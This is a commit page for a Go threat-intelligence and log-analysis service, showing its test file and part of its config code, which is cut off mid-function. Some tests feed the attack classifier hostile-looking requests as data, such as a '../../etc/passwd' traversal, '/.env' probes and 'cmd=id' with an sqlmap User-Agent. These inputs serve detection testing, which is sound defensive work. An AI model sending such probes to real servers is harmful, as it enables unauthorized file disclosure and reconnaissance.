feat: Urutau 1.0.0, lightweight threat intelligence and web analytics
Release / Plan (reuse the published image?) (push) Successful in 4s
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 1m29s
CI / Tests (Linux, race detector) (push) Failing after 1m48s
CI / Dependency audit (push) Successful in 21s
Release / ci (push) Failing after 1m50s
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Skipped
Release / Gitea release (push) Skipped
Release / Plan (reuse the published image?) (push) Successful in 4s
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 1m29s
CI / Tests (Linux, race detector) (push) Failing after 1m48s
CI / Dependency audit (push) Successful in 21s
Release / ci (push) Failing after 1m50s
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Skipped
Release / Gitea release (push) Skipped
Always-on Go service (stdlib only) that follows the Traefik JSON access log, the sshd log and the fail2ban log of a host, classifies attacks, scores sources, keeps bounded aggregates with snapshots, and serves an embedded dashboard with live updates, offline geolocation (DB-IP Lite), privacy-friendly traffic analytics, an exportable blocklist and token-authenticated federation between instances. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
commit
b4a2c2c9ec
99 files changed
+15403
No files matched your search
@@ -0,0 +1,415 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"io"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
func runner(t *testing.T, extra func(*Config)) (*Runner, *store.Store) {
|
||||
c := Config{Ignore: DefaultIgnore, MonitorUA: DefaultMonitorUA, Name: "t", Retention: 168 * time.Hour, Trusted: "136.248.78.83,2001:db8:1::/48", TrustedProxy: DefaultTrustedProxy}
|
||||
if extra != nil {
|
||||
extra(&c)
|
||||
}
|
||||
st := store.New(store.Config{Name: "t", Version: "t"})
|
||||
r, err := NewRunner(c, st, slog.New(slog.NewTextHandler(io.Discard, nil)))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return r, st
|
||||
}
|
||||
|
||||
func line(ip, method, path, ua string, status int) []byte {
|
||||
return []byte(fmt.Sprintf(`{"ClientHost":%q,"DownstreamStatus":%d,"RequestHost":"a.example","RequestMethod":%q,"RequestPath":%q,"StartUTC":%q,"request_User-Agent":%q}`,
|
||||
ip, status, method, path, time.Now().UTC().Format(time.RFC3339Nano), ua))
|
||||
}
|
||||
|
||||
func TestMonitoringTrustedAndForged(t *testing.T) {
|
||||
r, st := runner(t, nil)
|
||||
h := r.handle(&source{name: "traefik", parse: traefikParse})
|
||||
|
||||
h(line("203.0.113.7", "GET", "/", "Uptime-Kuma/1.23", 200))
|
||||
h(line("203.0.113.7", "GET", "/missing", "Uptime-Kuma/1.23", 404))
|
||||
if _, ok := st.IP("203.0.113.7"); ok {
|
||||
t.Fatal("monitor traffic must not create or score an IP")
|
||||
}
|
||||
sum := st.Summary("1h")
|
||||
// without --monitor-from only the successful hit is filtered; the 404 is plain traffic
|
||||
if sum.Totals.Monitoring != 1 || sum.Totals.Requests != 1 || sum.Totals.Malicious != 0 {
|
||||
t.Fatalf("monitoring accounting: %+v", sum.Totals)
|
||||
}
|
||||
|
||||
h(line("203.0.113.7", "GET", "/.env", "Uptime-Kuma/1.23", 404))
|
||||
ip, ok := st.IP("203.0.113.7")
|
||||
if !ok || ip.Score != 3 || ip.Counts["scanner"] != 1 {
|
||||
t.Fatalf("forged monitor UA must be scored as an attack: %+v", ip)
|
||||
}
|
||||
if len(ip.Samples) != 1 || ip.Samples[0] != "GET /.env [forged monitor UA]" {
|
||||
t.Fatalf("samples %v", ip.Samples)
|
||||
}
|
||||
if rec := st.Recent(5); len(rec) != 1 || !rec[0].Forged {
|
||||
t.Fatalf("feed %+v", rec)
|
||||
}
|
||||
|
||||
// trusted origins are dropped entirely, even for exploits and with other UAs
|
||||
h(line("136.248.78.83", "GET", "/?x=../../etc/passwd", "curl/8", 200))
|
||||
h(line("2001:db8:1::5", "GET", "/.env", "curl/8", 404))
|
||||
h(line("127.0.0.1", "GET", "/.env", "curl/8", 404))
|
||||
for _, a := range []string{"136.248.78.83", "2001:db8:1::5", "127.0.0.1"} {
|
||||
if _, ok := st.IP(a); ok {
|
||||
t.Fatalf("%s must be dropped", a)
|
||||
}
|
||||
}
|
||||
// a non-matching UA from an external IP is a normal request
|
||||
h(line("198.51.100.4", "GET", "/.env", "Mozilla/5.0", 404))
|
||||
if _, ok := st.IP("198.51.100.4"); !ok {
|
||||
t.Fatal("regular traffic is recorded")
|
||||
}
|
||||
}
|
||||
|
||||
const tok = "user-token-0123456789-abcdefghijklmnop"
|
||||
|
||||
func TestFlagsTrustedAndIgnoreAlias(t *testing.T) {
|
||||
c, err := ParseFlags("serve", []string{"--trusted", "1.1.1.1", "--trusted", "2.2.2.0/24,3.3.3.3", "--ignore", "9.9.9.9", "--monitor-ua", "^kuma"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if c.Trusted != "1.1.1.1,2.2.2.0/24,3.3.3.3" || c.Ignore != "9.9.9.9" || c.MonitorUA != "^kuma" {
|
||||
t.Fatalf("%+v", c)
|
||||
}
|
||||
c.Bind = "0.0.0.0:1"
|
||||
if _, err := c.Validate(tok); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c.MonitorUA = "("
|
||||
if _, err := c.Validate(tok); err == nil {
|
||||
t.Fatal("bad regex must be rejected")
|
||||
}
|
||||
if _, err := (Config{Ignore: "nonsense", MonitorUA: "", Retention: 168 * time.Hour}).Validate(tok); err == nil {
|
||||
t.Fatal("bad cidr must be rejected")
|
||||
}
|
||||
if _, err := (Config{NoAuth: true, Bind: "0.0.0.0:1", Retention: 168 * time.Hour}).Validate(""); err == nil {
|
||||
t.Fatal("no-auth must require loopback")
|
||||
}
|
||||
}
|
||||
|
||||
type fakeEnr struct{}
|
||||
|
||||
func (fakeEnr) Geo(ip string) core.GeoInfo {
|
||||
return core.GeoInfo{CC: "NL", City: "Amsterdam", Country: "Netherlands"}
|
||||
}
|
||||
func (fakeEnr) UA(raw string) core.UAInfo {
|
||||
switch {
|
||||
case strings.HasPrefix(raw, "sqlmap"):
|
||||
return core.UAInfo{Device: "tool", Tool: "sqlmap"}
|
||||
case strings.HasPrefix(raw, "Googlebot"):
|
||||
return core.UAInfo{Device: "bot", Bot: true, BotName: "Googlebot"}
|
||||
}
|
||||
return core.UAInfo{Browser: "Firefox", OS: "Linux", Device: "desktop"}
|
||||
}
|
||||
|
||||
func TestEnrichmentFeedsThreatAndTraffic(t *testing.T) {
|
||||
r, st := runner(t, nil)
|
||||
r.Enr = fakeEnr{}
|
||||
st.SetEnricher(fakeEnr{})
|
||||
h := r.handle(&source{name: "traefik", parse: traefikParse})
|
||||
h(line("203.0.113.9", "GET", "/", "Mozilla/5.0 Firefox", 200))
|
||||
h(line("203.0.113.9", "GET", "/blog", "Mozilla/5.0 Firefox", 200))
|
||||
h(line("66.249.1.1", "GET", "/", "Googlebot/2.1", 200))
|
||||
h(line("198.51.100.66", "GET", "/.env", "sqlmap/1.7", 404))
|
||||
tr := st.TrafficSummary("1h", "all")
|
||||
if tr.Pages != 2 || tr.Visitors != 1 || tr.Bots != 1 || tr.Countries[0].Key != "NL" || tr.Browsers[0].Key != "Firefox" {
|
||||
t.Fatalf("traffic %+v", tr)
|
||||
}
|
||||
ip, ok := st.IP("198.51.100.66")
|
||||
if !ok || ip.Score != 5 || ip.CC != "NL" || ip.City != "Amsterdam" || len(ip.UALabels) != 1 || ip.UALabels[0] != "sqlmap (tool)" {
|
||||
t.Fatalf("tool IP %+v", ip)
|
||||
}
|
||||
if _, ok := st.IP("203.0.113.9"); ok {
|
||||
t.Fatal("legitimate visitor must not be tracked")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTokenAndFederationValidation(t *testing.T) {
|
||||
base := Config{Bind: "0.0.0.0:1", Retention: 168 * time.Hour, MonitorUA: "", Ignore: DefaultIgnore, TrustedProxy: DefaultTrustedProxy}
|
||||
peerTok := "peer-token-0123456789-abcdefghijklmnopq"
|
||||
if _, err := base.Validate("short-token-1234567890"); err == nil {
|
||||
t.Fatal("URUTAU_TOKEN under 32 characters must be refused")
|
||||
}
|
||||
if _, err := base.Validate(tok); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c := base
|
||||
c.PeerToken = "short-peer"
|
||||
if _, err := c.Validate(tok); err == nil {
|
||||
t.Fatal("peer token under 32 characters must be refused")
|
||||
}
|
||||
c.PeerToken = tok
|
||||
if _, err := c.Validate(tok); err == nil {
|
||||
t.Fatal("peer token equal to URUTAU_TOKEN must be refused")
|
||||
}
|
||||
c.PeerToken = peerTok
|
||||
if _, err := c.Validate(tok); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c.Peers = []string{"hostinger=https://urutau.example.org"}
|
||||
c.PeerToken = ""
|
||||
if _, err := c.Validate(tok); err == nil {
|
||||
t.Fatal("peers without a peer token must be refused")
|
||||
}
|
||||
c.PeerToken = peerTok
|
||||
c.Peers = []string{"hostinger=http://urutau.example.org"}
|
||||
if _, err := c.Validate(tok); err == nil {
|
||||
t.Fatal("plain http to a non-loopback peer must be refused")
|
||||
}
|
||||
c.Peers = []string{"h=http://127.0.0.1:8791"}
|
||||
if _, err := c.Validate(tok); err != nil {
|
||||
t.Fatalf("http is fine on loopback: %v", err)
|
||||
}
|
||||
c.PeerAllow, c.Peers = "not-a-cidr", nil
|
||||
if _, err := c.Validate(tok); err == nil {
|
||||
t.Fatal("bad --peer-allow must be refused")
|
||||
}
|
||||
cfg, err := ParseFlags("serve", []string{"--peer-allow", "203.0.113.0/24", "--peer-allow", "198.51.100.7", "--trusted-proxy", "10.0.0.0/8"})
|
||||
if err != nil || cfg.PeerAllow != "203.0.113.0/24,198.51.100.7" || cfg.TrustedProxy != "10.0.0.0/8" {
|
||||
t.Fatalf("%+v %v", cfg, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCorruptSnapshotDoesNotStopStartup(t *testing.T) {
|
||||
log := slog.New(slog.NewTextHandler(io.Discard, nil))
|
||||
dir := t.TempDir()
|
||||
good := store.New(store.Config{Name: "t", Version: "t"})
|
||||
good.Ingest(core.Event{Time: time.Now(), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/x"})
|
||||
if err := good.Save(SnapshotPath(dir), map[string]store.Offset{"traefik": {Inode: 1, Offset: 10}}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, _ := os.ReadFile(SnapshotPath(dir))
|
||||
for name, data := range map[string][]byte{"truncated": raw[:len(raw)/2], "garbage": []byte("not a gob at all \x00\x01\x02"), "empty": {}} {
|
||||
if err := os.WriteFile(SnapshotPath(dir), data, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st := store.New(store.Config{Name: "t", Version: "t"})
|
||||
offs := LoadState(st, dir, log)
|
||||
if len(offs) != 0 || st.IPCount() != 0 {
|
||||
t.Fatalf("%s: must start empty, got %v / %d IPs", name, offs, st.IPCount())
|
||||
}
|
||||
if _, err := os.Stat(SnapshotPath(dir) + ".corrupt"); err != nil {
|
||||
t.Fatalf("%s: the bad snapshot must be set aside: %v", name, err)
|
||||
}
|
||||
st.Ingest(core.Event{Time: time.Now(), IP: "6.6.6.6", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/x"})
|
||||
if st.IPCount() != 1 {
|
||||
t.Fatal("the store must be usable after a bad snapshot")
|
||||
}
|
||||
}
|
||||
// the intact snapshot restores
|
||||
if err := good.Save(SnapshotPath(dir), map[string]store.Offset{"traefik": {Inode: 1, Offset: 10}}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st := store.New(store.Config{Name: "t", Version: "t"})
|
||||
if offs := LoadState(st, dir, log); offs["traefik"].Offset != 10 || st.IPCount() != 1 {
|
||||
t.Fatal("a good snapshot must restore")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoctorJSONReportsGeoAndTraffic(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
st := store.New(store.Config{Name: "t", Version: "t"})
|
||||
st.Traffic(core.Event{Time: time.Now(), IP: "9.9.9.9", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200})
|
||||
if err := st.Save(SnapshotPath(dir), nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Setenv("URUTAU_TOKEN", tok)
|
||||
c := Config{Bind: "0.0.0.0:1", Name: "t", DataDir: dir, GeoDir: filepath.Join(dir, "geo"), GeoUpdate: time.Hour, Ignore: DefaultIgnore,
|
||||
TrustedProxy: DefaultTrustedProxy, Retention: 168 * time.Hour}
|
||||
var out strings.Builder
|
||||
if !Doctor(c, &out, true) {
|
||||
t.Fatalf("doctor failed: %s", out.String())
|
||||
}
|
||||
var doc struct {
|
||||
Version string
|
||||
Geo map[string]any
|
||||
State map[string]any
|
||||
Checks []Check
|
||||
}
|
||||
if err := json.Unmarshal([]byte(out.String()), &doc); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if doc.Version == "" || doc.Geo["dir"] == nil || doc.Geo["attribution"] == nil || doc.Geo["city"] == nil {
|
||||
t.Fatalf("geo section: %+v", doc.Geo)
|
||||
}
|
||||
if doc.State["traffic_domains"].(float64) != 1 || doc.State["ips"] == nil {
|
||||
t.Fatalf("state section: %+v", doc.State)
|
||||
}
|
||||
if strings.Contains(out.String(), "9.9.9.9") {
|
||||
t.Fatal("doctor must not print visitor IPs")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitorFromBindsTheUserAgentToItsNetwork(t *testing.T) {
|
||||
r, st := runner(t, func(c *Config) { c.MonitorFrom = "203.0.113.0/24" })
|
||||
h := r.handle(&source{name: "traefik", parse: traefikParse})
|
||||
h(line("203.0.113.7", "GET", "/", "Uptime-Kuma/1.23", 200))
|
||||
h(line("203.0.113.7", "GET", "/gone", "Uptime-Kuma/1.23", 404))
|
||||
if sum := st.Summary("1h"); sum.Totals.Monitoring != 2 || sum.Totals.Requests != 0 {
|
||||
t.Fatalf("monitor from its network: %+v", sum.Totals)
|
||||
}
|
||||
h(line("198.51.100.9", "GET", "/", "Uptime-Kuma/1.23", 200))
|
||||
if sum := st.Summary("24h"); sum.Totals.Monitoring != 2 || sum.Totals.Requests != 1 {
|
||||
t.Fatalf("a monitor User-Agent from a stranger is ordinary traffic: %+v", sum.Totals)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWeakMarkersNeedAnAttackTool(t *testing.T) {
|
||||
r, st := runner(t, nil)
|
||||
r.Enr = fakeEnr{}
|
||||
h := r.handle(&source{name: "traefik", parse: traefikParse})
|
||||
h(line("45.1.1.1", "GET", "/app?cmd=build", "Mozilla/5.0", 200))
|
||||
if _, ok := st.IP("45.1.1.1"); ok {
|
||||
t.Fatal("cmd= alone must not be an attack")
|
||||
}
|
||||
h(line("45.1.1.2", "GET", "/app?cmd=id", "sqlmap/1.7", 404))
|
||||
d, ok := st.IP("45.1.1.2")
|
||||
if !ok || d.Counts["exploit"] != 1 || !d.Strong {
|
||||
t.Fatalf("cmd= with an attack tool: %+v", d)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPanicInOneLineDoesNotKillTheSource(t *testing.T) {
|
||||
r, st := runner(t, nil)
|
||||
r.Enr = panicEnr{}
|
||||
src := &source{name: "traefik", parse: traefikParse}
|
||||
h := r.handle(src)
|
||||
h(line("45.1.1.3", "GET", "/.env", "x", 404)) // enrich panics
|
||||
r.Enr = nil
|
||||
h(line("45.1.1.4", "GET", "/.env", "x", 404))
|
||||
if _, ok := st.IP("45.1.1.4"); !ok || src.malformed.Load() != 1 {
|
||||
t.Fatal("the source must keep working after a panic and count it")
|
||||
}
|
||||
}
|
||||
|
||||
type panicEnr struct{}
|
||||
|
||||
func (panicEnr) Geo(string) core.GeoInfo { panic("corrupt database") }
|
||||
func (panicEnr) UA(string) core.UAInfo { return core.UAInfo{} }
|
||||
|
||||
func TestTokenQualityAndFiles(t *testing.T) {
|
||||
base := Config{Bind: "0.0.0.0:1", Retention: 168 * time.Hour, Ignore: DefaultIgnore, TrustedProxy: DefaultTrustedProxy}
|
||||
if _, err := base.Validate(strings.Repeat("a", 40)); err == nil {
|
||||
t.Fatal("aaaa... must be refused: too few distinct characters")
|
||||
}
|
||||
if _, err := base.Validate("abababababababababababababababab"); err == nil {
|
||||
t.Fatal("two distinct characters must be refused")
|
||||
}
|
||||
if _, err := base.Validate(tok); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
dir := t.TempDir()
|
||||
f := filepath.Join(dir, "token")
|
||||
os.WriteFile(f, []byte(tok+"\n"), 0o600)
|
||||
t.Setenv("URUTAU_TOKEN", "")
|
||||
t.Setenv("URUTAU_TOKEN_FILE", f)
|
||||
if got, err := Secret("URUTAU_TOKEN"); err != nil || got != tok {
|
||||
t.Fatalf("%q %v", got, err)
|
||||
}
|
||||
t.Setenv("URUTAU_TOKEN_FILE", filepath.Join(dir, "missing"))
|
||||
if _, err := Secret("URUTAU_TOKEN"); err == nil {
|
||||
t.Fatal("a missing token file is an error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPerPeerTokens(t *testing.T) {
|
||||
t.Setenv("URUTAU_PEER_TOKEN", "")
|
||||
t.Setenv("URUTAU_PEER_TOKEN_HOSTINGER", "hostinger-token-0123456789-abcdefghijklmn")
|
||||
f := filepath.Join(t.TempDir(), "o")
|
||||
os.WriteFile(f, []byte("oracle-token-0123456789-abcdefghijklmnopq\n"), 0o600)
|
||||
t.Setenv("URUTAU_PEER_TOKEN_MY_ORACLE_FILE", f)
|
||||
c, err := ParseFlags("serve", []string{"--peer", "hostinger=https://h.example.org", "--peer", "my-oracle=https://o.example.org"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
peers, err := c.Validate(tok)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if peers[0].Token != "hostinger-token-0123456789-abcdefghijklmn" || peers[1].Token != "oracle-token-0123456789-abcdefghijklmnopq" {
|
||||
t.Fatalf("per peer tokens: %+v", peers)
|
||||
}
|
||||
// Client tokens sent to peers never open the local export: a compromised
|
||||
// peer knows its own token and must not read this instance with it.
|
||||
if len(c.PeerTokens) != 0 {
|
||||
t.Fatalf("per peer client tokens must not open the local export: %v", c.PeerTokens)
|
||||
}
|
||||
c.Peers = append(c.Peers, "nobody=https://n.example.org")
|
||||
if _, err := c.Validate(tok); err == nil {
|
||||
t.Fatal("a peer without any token must be refused")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPeerServerTokenOnlyOpensExport(t *testing.T) {
|
||||
t.Setenv("URUTAU_PEER_TOKEN", "server-side-token-Zq8vN3pL0xK7mR2wT5yB9cD")
|
||||
t.Setenv("URUTAU_PEER_TOKEN_HOSTINGER", "client-side-token-Hj4kL9mN2pQ7rS1tV6wX3yZ")
|
||||
c, err := ParseFlags("serve", []string{"--peer", "hostinger=https://h.example.org"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(c.PeerTokens) != 1 || c.PeerTokens[0] != "server-side-token-Zq8vN3pL0xK7mR2wT5yB9cD" {
|
||||
t.Fatalf("export tokens: %v", c.PeerTokens)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPeerNameTokenCollision(t *testing.T) {
|
||||
t.Setenv("URUTAU_PEER_TOKEN", "server-side-token-Zq8vN3pL0xK7mR2wT5yB9cD")
|
||||
c, err := ParseFlags("serve", []string{"--peer", "my-peer=https://a.example.org", "--peer", "my_peer=https://b.example.org"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := c.Validate(tok); err == nil || !strings.Contains(err.Error(), "share the token variable") {
|
||||
t.Fatalf("colliding peer names must be refused, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Without explicit configuration, X-Forwarded-For is only believed from loopback.
|
||||
func TestTrustedProxyDefaultIsLoopback(t *testing.T) {
|
||||
os.Unsetenv("URUTAU_TRUSTED_PROXY")
|
||||
c, err := ParseFlags("serve", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if c.TrustedProxy != "127.0.0.0/8,::1" {
|
||||
t.Fatalf("default trusted proxy: %q", c.TrustedProxy)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHealthcheckCommand(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(`{"status":"ok"}`)) }))
|
||||
defer srv.Close()
|
||||
if err := Healthcheck(Config{Bind: strings.TrimPrefix(srv.URL, "http://")}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
bad := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { http.Error(w, "x", 500) }))
|
||||
defer bad.Close()
|
||||
if err := Healthcheck(Config{Bind: strings.TrimPrefix(bad.URL, "http://")}); err == nil {
|
||||
t.Fatal("a failing daemon is unhealthy")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultIgnoreCoversPrivateRanges(t *testing.T) {
|
||||
p, _ := core.ParseCIDRs(DefaultIgnore)
|
||||
for _, ip := range []string{"192.168.1.5", "fd12::1", "fe80::2", "100.64.1.1", "169.254.3.3", "10.1.1.1", "127.0.0.1", "::1"} {
|
||||
if !core.Ignored(p, ip) {
|
||||
t.Errorf("%s must be ignored by default", ip)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,387 @@
|
||||
// Package app wires the sources, the store, the federation hub and the server.
|
||||
package app
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"math"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
|
||||
)
|
||||
|
||||
// Config is the runtime configuration of `urutau serve` and `urutau doctor`.
|
||||
type Config struct {
|
||||
Bind string
|
||||
Name string
|
||||
DataDir string
|
||||
TraefikLog string
|
||||
AuthLog string
|
||||
Fail2banLog string
|
||||
Ignore string // networks whose events are dropped (--ignore, alias of --trusted)
|
||||
Trusted string // trusted sources, e.g. the servers themselves (--trusted)
|
||||
MonitorUA string // regex of monitoring User-Agents
|
||||
MonitorFrom string // networks monitors come from (empty: any source)
|
||||
Domains string // optional allowlist of analytics domains
|
||||
AdminUsers string // SSH users whose logins grant admin immunity (empty: any user)
|
||||
PeerTokens []string // tokens accepted by /api/v1/peer/export
|
||||
PeerTokenFor map[string]string // per peer name (upper case) token used by the hub
|
||||
GeoDir string // directory of the geo databases (default <data-dir>/geo)
|
||||
GeoUpdate time.Duration
|
||||
Peers []string
|
||||
PeerToken string
|
||||
PeerAllow string // CIDRs allowed to call /api/v1/peer/export (empty: any source with the token)
|
||||
TrustedProxy string // proxies whose X-Forwarded-For is believed
|
||||
Retention time.Duration
|
||||
NoAuth bool
|
||||
}
|
||||
|
||||
type listFlag []string
|
||||
|
||||
func (l *listFlag) String() string { return strings.Join(*l, ",") }
|
||||
func (l *listFlag) Set(v string) error { *l = append(*l, v); return nil }
|
||||
|
||||
func env(key, def string) string {
|
||||
if v, ok := os.LookupEnv(key); ok {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
// csvFlag accumulates comma separated values; the first use replaces the default.
|
||||
type csvFlag struct {
|
||||
val string
|
||||
used bool
|
||||
}
|
||||
|
||||
func (c *csvFlag) String() string { return c.val }
|
||||
func (c *csvFlag) Set(v string) error {
|
||||
if !c.used {
|
||||
c.val, c.used = v, true
|
||||
} else {
|
||||
c.val += "," + v
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DefaultMonitorUA matches the usual uptime and health monitors.
|
||||
const DefaultMonitorUA = `(?i)^(Uptime-Kuma/|Beszel|Coolify|kube-probe/|Go-http-client/.*healthcheck)`
|
||||
|
||||
// DefaultTrustedProxy is loopback only: any other proxy (Traefik on a Docker
|
||||
// network) must be named explicitly, so another container on a shared network
|
||||
// cannot forge X-Forwarded-For.
|
||||
const DefaultTrustedProxy = "127.0.0.0/8,::1"
|
||||
|
||||
// MinTokenLen is the minimum length of URUTAU_TOKEN and URUTAU_PEER_TOKEN.
|
||||
const MinTokenLen = 32
|
||||
|
||||
// DefaultIgnore are the networks whose events are dropped by default.
|
||||
const DefaultIgnore = "127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10,100.64.0.0/10,169.254.0.0/16"
|
||||
|
||||
// ParseFlags reads flags (each with a URUTAU_* environment default).
|
||||
func ParseFlags(name string, args []string) (Config, error) {
|
||||
fs := flag.NewFlagSet(name, flag.ContinueOnError)
|
||||
var c Config
|
||||
host, _ := os.Hostname()
|
||||
var peers listFlag
|
||||
fs.StringVar(&c.Bind, "bind", env("URUTAU_BIND", "0.0.0.0:8790"), "listen address (URUTAU_BIND)")
|
||||
fs.StringVar(&c.Name, "name", env("URUTAU_NAME", host), "name of this instance (URUTAU_NAME)")
|
||||
fs.StringVar(&c.DataDir, "data-dir", env("URUTAU_DATA_DIR", "/data"), "snapshot directory (URUTAU_DATA_DIR)")
|
||||
fs.StringVar(&c.TraefikLog, "traefik-log", env("URUTAU_TRAEFIK_LOG", "/data/coolify/proxy/access.log"), "Traefik JSON access log, empty disables (URUTAU_TRAEFIK_LOG)")
|
||||
fs.StringVar(&c.AuthLog, "auth-log", env("URUTAU_AUTH_LOG", "/var/log/auth.log"), "sshd auth log, empty disables (URUTAU_AUTH_LOG)")
|
||||
fs.StringVar(&c.Fail2banLog, "fail2ban-log", env("URUTAU_FAIL2BAN_LOG", "/var/log/fail2ban.log"), "fail2ban log, empty disables (URUTAU_FAIL2BAN_LOG)")
|
||||
ign := &csvFlag{val: env("URUTAU_IGNORE", DefaultIgnore)}
|
||||
trusted := &csvFlag{val: env("URUTAU_TRUSTED", "")}
|
||||
fs.Var(ign, "ignore", "CIDRs/IPs whose events are dropped, repeatable or comma separated (URUTAU_IGNORE)")
|
||||
fs.Var(trusted, "trusted", "trusted origins (your own servers) whose events are dropped, same as --ignore (URUTAU_TRUSTED)")
|
||||
mfrom := &csvFlag{val: env("URUTAU_MONITOR_FROM", "")}
|
||||
doms := &csvFlag{val: env("URUTAU_DOMAINS", "")}
|
||||
admins := &csvFlag{val: env("URUTAU_ADMIN_USERS", "")}
|
||||
fs.Var(admins, "admin-users", "SSH users whose successful logins keep their IP out of the blocklist for 24 h; empty means any user (URUTAU_ADMIN_USERS)")
|
||||
fs.Var(mfrom, "monitor-from", "networks the monitoring User-Agents come from; empty trusts the User-Agent alone for benign hits (URUTAU_MONITOR_FROM)")
|
||||
fs.Var(doms, "domains", "analytics domain allowlist, exact names or *.example.com; empty tracks every domain that answers 2xx/3xx (URUTAU_DOMAINS)")
|
||||
fs.StringVar(&c.GeoDir, "geo-dir", env("URUTAU_GEO_DIR", ""), "geo database directory, default <data-dir>/geo (URUTAU_GEO_DIR)")
|
||||
fs.DurationVar(&c.GeoUpdate, "geo-update", 24*time.Hour, "how often the geo database is refreshed, 0 disables downloads (URUTAU_GEO_UPDATE)")
|
||||
fs.StringVar(&c.MonitorUA, "monitor-ua", env("URUTAU_MONITOR_UA", DefaultMonitorUA), "regex of monitoring User-Agents; benign hits are counted apart, empty disables (URUTAU_MONITOR_UA)")
|
||||
fs.Var(&peers, "peer", "peer instance name=https://url, repeatable (URUTAU_PEERS, comma separated)")
|
||||
fs.StringVar(&c.PeerToken, "peer-token", "", "bearer token shared with peers; prefer URUTAU_PEER_TOKEN or URUTAU_PEER_TOKEN_FILE")
|
||||
allow := &csvFlag{val: env("URUTAU_PEER_ALLOW", "")}
|
||||
tproxy := &csvFlag{val: env("URUTAU_TRUSTED_PROXY", DefaultTrustedProxy)}
|
||||
fs.Var(allow, "peer-allow", "CIDRs allowed to call /api/v1/peer/export, empty allows any source with the token (URUTAU_PEER_ALLOW)")
|
||||
fs.Var(tproxy, "trusted-proxy", "reverse proxies whose X-Forwarded-For is trusted for the real client IP (URUTAU_TRUSTED_PROXY)")
|
||||
fs.DurationVar(&c.Retention, "retention", 7*24*time.Hour, "how long data is kept, at most 168h (URUTAU_RETENTION)")
|
||||
fs.BoolVar(&c.NoAuth, "insecure-no-auth", false, "disable authentication; only allowed on a loopback bind")
|
||||
if v := os.Getenv("URUTAU_GEO_UPDATE"); v != "" {
|
||||
if d, err := time.ParseDuration(v); err == nil {
|
||||
c.GeoUpdate = d
|
||||
}
|
||||
}
|
||||
if v := os.Getenv("URUTAU_RETENTION"); v != "" {
|
||||
if d, err := time.ParseDuration(v); err == nil {
|
||||
c.Retention = d
|
||||
}
|
||||
}
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return c, err
|
||||
}
|
||||
c.Peers = peers
|
||||
c.Ignore, c.Trusted = ign.val, trusted.val
|
||||
c.PeerAllow, c.TrustedProxy = allow.val, tproxy.val
|
||||
c.MonitorFrom, c.Domains, c.AdminUsers = mfrom.val, doms.val, admins.val
|
||||
if c.PeerToken == "" {
|
||||
var err error
|
||||
